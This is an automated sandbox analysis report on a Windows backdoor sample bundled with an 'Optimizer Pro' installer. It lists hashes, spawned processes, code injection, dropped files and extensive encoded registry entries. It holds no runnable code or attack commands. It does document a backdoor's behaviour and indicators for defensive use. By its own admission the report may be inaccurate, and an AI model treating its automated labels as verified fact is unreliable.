Backdoor.Win32.PcClient_d1920def7c

by malwarelabrobot on September 17th, 2014 in Malware Descriptions.

Backdoor.Win32.PcClient.FD, Trojan.Win32.Delphi.FD, Trojan.Win32.Sasfis.FD, VirTool.Win32.DelfInject.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)
Behaviour: Trojan, Backdoor, VirTool


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: d1920def7c7b234a0bdbc725f8fc9622
SHA1: df1ea5e5099a0b6716dcd3c4d4dbcb765e663fd0
SHA256: 24cdfaca4c4327bb9d01f8e25caccc7f4accc09bfc59fc8f69b7465d097b96fb
SSDeep: 98304:73L3/hqw/d8y/p4BGiKOKScfHu9/zm64Uguyx8WWlxQfqwSM uNX:zThJ/d8y/p4BLcfuxxMSJO
Size: 5945944 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2014-08-15 11:39:47
Analyzed on: WindowsXPESX SP3 32-bit


Summary:

Backdoor. Malware that enables a remote control of victim's machine.

Payload

No specific payload has been found.

Process activity

The Backdoor creates the following process(es):

%original file name%.exe:1656
optprosetup.exe:520
rundll32.exe:340
rundll32.exe:240
optprosetup.tmp:1868

The Backdoor injects its code into the following process(es):

OptProStart.exe:312

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:1656 makes changes in the file system.
The Backdoor creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\optprosetup.exe (725485 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (5304 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT (4564 bytes)

The process optprosetup.exe:520 makes changes in the file system.
The Backdoor creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-NDG4J.tmp\optprosetup.tmp (7386 bytes)

The Backdoor deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-NDG4J.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-NDG4J.tmp\optprosetup.tmp (0 bytes)

The process optprosetup.tmp:1868 makes changes in the file system.
The Backdoor creates and/or writes to the following file(s):

%Program Files%\Optimizer Pro\is-UB5I8.tmp (6841 bytes)
%Program Files%\Optimizer Pro\is-4ENCU.tmp (2321 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Optimizer Pro v3.2\Uninstall Optimizer Pro.lnk (755 bytes)
%Program Files%\Optimizer Pro\is-63JNS.tmp (2321 bytes)
%Program Files%\Optimizer Pro\is-3JAI8.tmp (6841 bytes)
%Program Files%\Optimizer Pro\is-T7HCR.tmp (31891 bytes)
%Program Files%\Optimizer Pro\is-F57D7.tmp (3073 bytes)
%Program Files%\Optimizer Pro\is-5QBQ7.tmp (22786 bytes)
%Program Files%\Optimizer Pro\is-DM8R4.tmp (712 bytes)
%Program Files%\Optimizer Pro\OptProCrash.dll (211202 bytes)
%Program Files%\Optimizer Pro\is-1JETG.tmp (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-QCPH7.tmp\_isetup\_shfoldr.dll (23 bytes)
%Program Files%\Optimizer Pro\unins000.dat (17021 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Optimizer Pro v3.2\Help.lnk (749 bytes)
%Program Files%\Optimizer Pro\is-AII5H.tmp (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-QCPH7.tmp\optpro2.bmp (673 bytes)
%Program Files%\Optimizer Pro\is-PIFJL.tmp (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Program Files%\Optimizer Pro\is-GDRIL.tmp (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-QCPH7.tmp\OptProCrash.dll (24284 bytes)
%Documents and Settings%\%current user%\Desktop\Optimizer Pro.lnk (737 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-QCPH7.tmp (4 bytes)
%Program Files%\Optimizer Pro\unins000.msg (646 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Optimizer Pro v3.2\Check updates.lnk (777 bytes)
%Program Files%\Optimizer Pro\is-F08KO.tmp (4545 bytes)
%Program Files%\Optimizer Pro\is-TKMAH.tmp (3361 bytes)
%Program Files%\Optimizer Pro\is-81MFB.tmp (6841 bytes)
%Program Files%\Optimizer Pro\is-ST26V.tmp (54 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Optimizer Pro v3.2\Optimizer Pro on the Web.lnk (729 bytes)
%Program Files%\Optimizer Pro\is-6MRK2.tmp (898 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-QCPH7.tmp\itdownload.dll (1281 bytes)
%Program Files%\Optimizer Pro\is-JBG58.tmp (48 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Optimizer Pro v3.2\Optimizer Pro.lnk (749 bytes)
%Program Files%\Optimizer Pro\is-FH4A5.tmp (673 bytes)
%Program Files%\Optimizer Pro\is-11VOQ.tmp (7345 bytes)

The Backdoor deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-QCPH7.tmp\OptProCrash.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-QCPH7.tmp\itdownload.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-QCPH7.tmp\_isetup (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-QCPH7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-QCPH7.tmp\LiveSupport.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-QCPH7.tmp\_isetup\_shfoldr.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-QCPH7.tmp\optpro2.bmp (0 bytes)

Registry activity

The process %original file name%.exe:1656 makes changes in the system registry.
The Backdoor creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7A 93 8A 2D D7 68 56 1F 19 70 51 76 85 A8 1B 5F"

[HKCU\Software\Optimizer Pro]
"setupname" = "c:\%original file name%.exe"

The process optprosetup.exe:520 makes changes in the system registry.
The Backdoor creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "48 43 7F 56 7E 86 59 C7 57 C4 A9 3D 3D 18 04 7F"

The process rundll32.exe:340 makes changes in the system registry.
The Backdoor creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B4 18 C6 E8 EC 84 D3 CC 30 B3 1A 96 CA E9 B1 82"

The process rundll32.exe:240 makes changes in the system registry.
The Backdoor creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"f2c53c49" = "UlAr/XJ/c//k////"
"fe94ce1e" = "V/////%%"
"e46c271e" = "///%"
"2e22d94e" = "///%"
"e8f9dcc7" = "UlAr/XJ/c//k////"
"7367429f" = "///%"
"340d3099" = "/P////%%"
"1520c6f1" = "V/////%%"
"3c09c42b" = "///%"
"2d71d5ab" = "V/////%%"
"a2e3b941" = "///%"
"c6c5dd44" = "V/////%%"
"f6ad6fa6" = "VP/l/C//V/////%%"

[HKU\.DEFAULT\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"iiid" = "1"

[HKU\.DEFAULT\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"6185d035" = "VP/h/CP/V//l////"
"c99a5f5c" = "///%"
"c5705860" = "Vx////%%"

[HKU\.DEFAULT\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\00000000]
"370856c7" = "nU1U07x0m01M06E0ql1M06E0iU1N06t0ml0S06h0nl1A06E0, nU1U07x0m01M06E0mU1P0780pl1D06I0pU0S06h0nl1A06E0, nU1U07x0m01M06E0ix1O06h0n01D07x0jx0S06h0nl1A06E0, nU1U07x0m01M06E0mU1P0780pl0S06h0nl1A06E0"

[HKU\.DEFAULT\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"d1abcdb6" = "///%"
"37b7a6d8" = "UlAr/XJ/c//k////"
"a0743acc" = "N/////%%"
"1c311243" = "alAl/YP/b/Af/X6/clAu/XZ/UxAp/X2/GxAk////"
"414bc593" = "///%"
"7f69fa1f" = "///%"
"f1f24e29" = "Vl/l/C/////%"
"587b5709" = "V/////%%"
"48bd1aff" = "VP/l/C//N//l////"
"0c230bcb" = "///%"
"0e93c3f3" = "///%"
"72758a5d" = "///%"
"a1dcff5b" = "V/////%%"
"38583bc3" = "Ml/2/CF/M//g/CZ////%"
"51d2f2ea" = "IlAl/YP/J/Af/X6/PlAf/XD/blAq/B//VP/j/Cx/V//j/CD/NP/3/Cb////%"
"0dc3ee96" = "/P////%%"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2C DB 40 58 20 3B 59 1E 4B 3D A4 AB 74 25 80 50"

[HKU\.DEFAULT\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"d94388d2" = "alAl/YP/b/Af/X6/clAu/XZ/UxAp/X2/GxAk////"
"8b9e4cbc" = "V/////%%"

[HKU\.DEFAULT\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\00000000]
"a47da861" = "o01O07x0m00K02E0aU1T0700i01P06I0ox1S07b0i01e06U0n01U0780nU0S06I0px1O02E0ix1S06h0nl1N07x0qx1Y06U0aU0%, o01O07x0m00K02E0aU1T0700i01P06I0ox1S07b0i01e06U0n01U0780nU0S06h0nl1A06E0aU1P06I0ox1S07b0i01e06U0n00T00%%, o01O07x0m00K02E0aU1T0700i01U0780nU1M06t0nx1T07q0qx1Y02I0ox1S06q0nU0T07t0nl1D06I0mU1O0640n01Y02E0, o01O07x0m00K02E0aU1T0700i01U0780nU1M06t0nx1T07q0qx1Y02I0qU1T06O0aU1P06I0ox1S07b0i01e06U0n00T00%%, o01O07x0m00K02E0aU1T0700i01D06O0ox1K06t0ml1P06I0ox1S07b0i01e06U0n00S06h0nl1A06E0aU1P06I0ox1S07b0i01e06U0n00T00%%, o01O07x0m00K02E0aU1T0700i01D06O0ox1K06t0ml1P06I0ox1S07b0i01e06U0n00S06b0nU1Z02E0ix1S06h0nl1N07x0qx1Y06U0aU0%"
"493c7345" = ""

[HKU\.DEFAULT\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"f0bf0bde" = "///%"
"65114b36" = "VP/ ////"
"c24899a6" = "Vx/g/C//M/////%%"
"060df2cd" = "alAl/YP/b/Af/X6/UxAp/X2/GxAk////"
"27ddcf6f" = "///%"
"bbf88800" = "///%"

[HKU\.DEFAULT\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\00000000]
"3efeb33e" = "nU1U07x0m01M06E0ql1M06E0iU1N06t0ml0S06h0nl1A06E0, nU1U07x0m01M06E0mU1P0780pl1D06I0pU0S06h0nl1A06E0, nU1U07x0m01M06E0ix1O06h0n01D07x0jx0S06h0nl1A06E0, nU1U07x0m01M06E0mU1P0780pl0S06h0nl1A06E0"

The process optprosetup.tmp:1868 makes changes in the system registry.
The Backdoor creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"c6c5dd44" = "V/////%%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"6185d035" = "VP/h/CP/V//l////"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"f2c53c49" = "UlAr/XJ/c//k////"
"1c311243" = "alAl/YP/b/Af/X6/clAu/XZ/UxAp/X2/GxAk////"
"587b5709" = "V/////%%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\00000000]
"370856c7" = "nU1U07x0m01M06E0ql1M06E0iU1N06t0ml0S06h0nl1A06E0, nU1U07x0m01M06E0mU1P0780pl1D06I0pU0S06h0nl1A06E0, nU1U07x0m01M06E0ix1O06h0n01D07x0jx0S06h0nl1A06E0, nU1U07x0m01M06E0mU1P0780pl0S06h0nl1A06E0"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"c5705860" = "Vx////%%"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"svpath" = "c:\Program Files\Optimizer Pro\OptProCrash.dll"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"uuid" = "3113250473"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Optimizer Pro]
"OptProStart.exe" = "Optimizer Pro Launcher"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"c5705860" = "Vx////%%"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"c99a5f5c" = "///%"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"d94388d2" = "alAl/YP/b/Af/X6/clAu/XZ/UxAp/X2/GxAk////"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"appid.0" = "Nh9rnbwveO69psurpnAxACQ9t/C0iSVIbivj"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Optimizer Pro_is1]
"Inno Setup: Selected Tasks" = "desktopicon"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"dlpath" = "c:\progra~1\optimi~1\optpro~2.dll"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"bbf88800" = "///%"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 12 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\{6791A2F3-FC80-475C-A002-C014AF797E9C}]
"n" = "1"

[HKLM\SOFTWARE\{3A7D3E19-1B79-4E4E-BD96-5467DA2C4EF0}]
"n" = "1"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"iiid" = "1"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"iiid" = "1"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_81e38051\eae10f9d]
"dbaf3ce3" = "/P////%%"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"0dc3ee96" = "/P////%%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"3c09c42b" = "///%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"data.0" = "eKEeALFyxCug0Mpnik8pZyY O8xq3E CHLu/ksVV9WKfLvMiY4chTTcUrXhpKiIzwKs2LLiV7ZbbbIZQQX dFarHVN"
"data.1" = "tcYmlXnbhXfCvqomjlfTtrWDHjHGD5C/hpYS4OrJBb59uWY8Cpm7IS01GG81PfV6/ Xc/fz0viQF0gx1l"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\00000000]
"493c7345" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"c99a5f5c" = "///%"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"d1abcdb6" = "///%"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"f2c53c49" = "UlAr/XJ/c//k////"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"Mode" = "4026531840"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"a2e3b941" = "///%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"2d71d5ab" = "V/////%%"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Optimizer Pro]
"cufValue" = "CUF=0"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"65114b36" = "VP/ ////"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"uuid" = "3113250473"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Optimizer Pro_is1]
"NoRepair" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"date" = "1410913260"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"38583bc3" = "Ml/2/CF/M//g/CZ////%"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"f1f24e29" = "Vl/l/C/////%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"51d2f2ea" = "IlAl/YP/J/Af/X6/PlAf/XD/blAq/B//VP/j/Cx/V//j/CD/NP/3/Cb////%"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Optimizer Pro]
"Language" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"e46c271e" = "///%"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Optimizer Pro_is1]
"NoModify" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"8b9e4cbc" = "V/////%%"
"f0bf0bde" = "///%"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Optimizer Pro_is1]
"InstallDate" = "20140916"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"72758a5d" = "///%"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\00000000]
"370856c7" = "nU1U07x0m01M06E0ql1M06E0iU1N06t0ml0S06h0nl1A06E0, nU1U07x0m01M06E0mU1P0780pl1D06I0pU0S06h0nl1A06E0, nU1U07x0m01M06E0ix1O06h0n01D07x0jx0S06h0nl1A06E0, nU1U07x0m01M06E0mU1P0780pl0S06h0nl1A06E0"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"1520c6f1" = "V/////%%"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\is-QCPH7.tmp]
"LiveSupport.exe" = "LiveSupport"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"340d3099" = "/P////%%"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"usr.0" = "SIAzvyTVNPRJLFHwys"
"usr.1" = "B4pZVDxztvqomjlhab"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B9 AA A8 C9 6E 79 56 D3 30 07 27 ED 26 C8 65 98"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"State" = "0"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"7f69fa1f" = "///%"
"0e93c3f3" = "///%"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Optimizer Pro_is1]
"Inno Setup: Language" = "en"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"414bc593" = "///%"
"c24899a6" = "Vx/g/C//M/////%%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"svt" = "1410895156"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"2e22d94e" = "///%"
"0e93c3f3" = "///%"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\00000000]
"a47da861" = "o01O07x0m00K02E0aU1T0700i01P06I0ox1S07b0i01e06U0n01U0780nU0S06I0px1O02E0ix1S06h0nl1N07x0qx1Y06U0aU0%, o01O07x0m00K02E0aU1T0700i01P06I0ox1S07b0i01e06U0n01U0780nU0S06h0nl1A06E0aU1P06I0ox1S07b0i01e06U0n00T00%%, o01O07x0m00K02E0aU1T0700i01U0780nU1M06t0nx1T07q0qx1Y02I0ox1S06q0nU0T07t0nl1D06I0mU1O0640n01Y02E0, o01O07x0m00K02E0aU1T0700i01U0780nU1M06t0nx1T07q0qx1Y02I0qU1T06O0aU1P06I0ox1S07b0i01e06U0n00T00%%, o01O07x0m00K02E0aU1T0700i01D06O0ox1K06t0ml1P06I0ox1S07b0i01e06U0n00S06h0nl1A06E0aU1P06I0ox1S07b0i01e06U0n00T00%%, o01O07x0m00K02E0aU1T0700i01D06O0ox1K06t0ml1P06I0ox1S07b0i01e06U0n00S06b0nU1Z02E0ix1S06h0nl1N07x0qx1Y06U0aU0%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"e8f9dcc7" = "UlAr/XJ/c//k////"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"37b7a6d8" = "UlAr/XJ/c//k////"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"f1f24e29" = "Vl/l/C/////%"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"0c230bcb" = "///%"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"f0bf0bde" = "///%"

[HKCU\Software\Optimizer Pro]
"culValue" = ""

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"340d3099" = "/P////%%"
"0dc3ee96" = "/P////%%"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"e8f9dcc7" = "UlAr/XJ/c//k////"
"a1dcff5b" = "V/////%%"
"c24899a6" = "Vx/g/C//M/////%%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"1c311243" = "alAl/YP/b/Af/X6/clAu/XZ/UxAp/X2/GxAk////"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Optimizer Pro_is1]
"Inno Setup: Setup Version" = "5.5.3 (u)"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"usr.1" = "B4pZVDxztvqomjlhab"
"usr.0" = "SIAzvyTVNPRJLFHwys"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Optimizer Pro_is1]
"DisplayName" = "Optimizer Pro v3.2"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\00000000]
"a47da861" = "o01O07x0m00K02E0aU1T0700i01P06I0ox1S07b0i01e06U0n01U0780nU0S06I0px1O02E0ix1S06h0nl1N07x0qx1Y06U0aU0%, o01O07x0m00K02E0aU1T0700i01P06I0ox1S07b0i01e06U0n01U0780nU0S06h0nl1A06E0aU1P06I0ox1S07b0i01e06U0n00T00%%, o01O07x0m00K02E0aU1T0700i01U0780nU1M06t0nx1T07q0qx1Y02I0ox1S06q0nU0T07t0nl1D06I0mU1O0640n01Y02E0, o01O07x0m00K02E0aU1T0700i01U0780nU1M06t0nx1T07q0qx1Y02I0qU1T06O0aU1P06I0ox1S07b0i01e06U0n00T00%%, o01O07x0m00K02E0aU1T0700i01D06O0ox1K06t0ml1P06I0ox1S07b0i01e06U0n00S06h0nl1A06E0aU1P06I0ox1S07b0i01e06U0n00T00%%, o01O07x0m00K02E0aU1T0700i01D06O0ox1K06t0ml1P06I0ox1S07b0i01e06U0n00S06b0nU1Z02E0ix1S06h0nl1N07x0qx1Y06U0aU0%"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\00000000]
"3efeb33e" = "nU1U07x0m01M06E0ql1M06E0iU1N06t0ml0S06h0nl1A06E0, nU1U07x0m01M06E0mU1P0780pl1D06I0pU0S06h0nl1A06E0, nU1U07x0m01M06E0ix1O06h0n01D07x0jx0S06h0nl1A06E0, nU1U07x0m01M06E0mU1P0780pl0S06h0nl1A06E0"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"LRTS" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_81e38051\eae10f9d]
"340d3099" = "///%"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

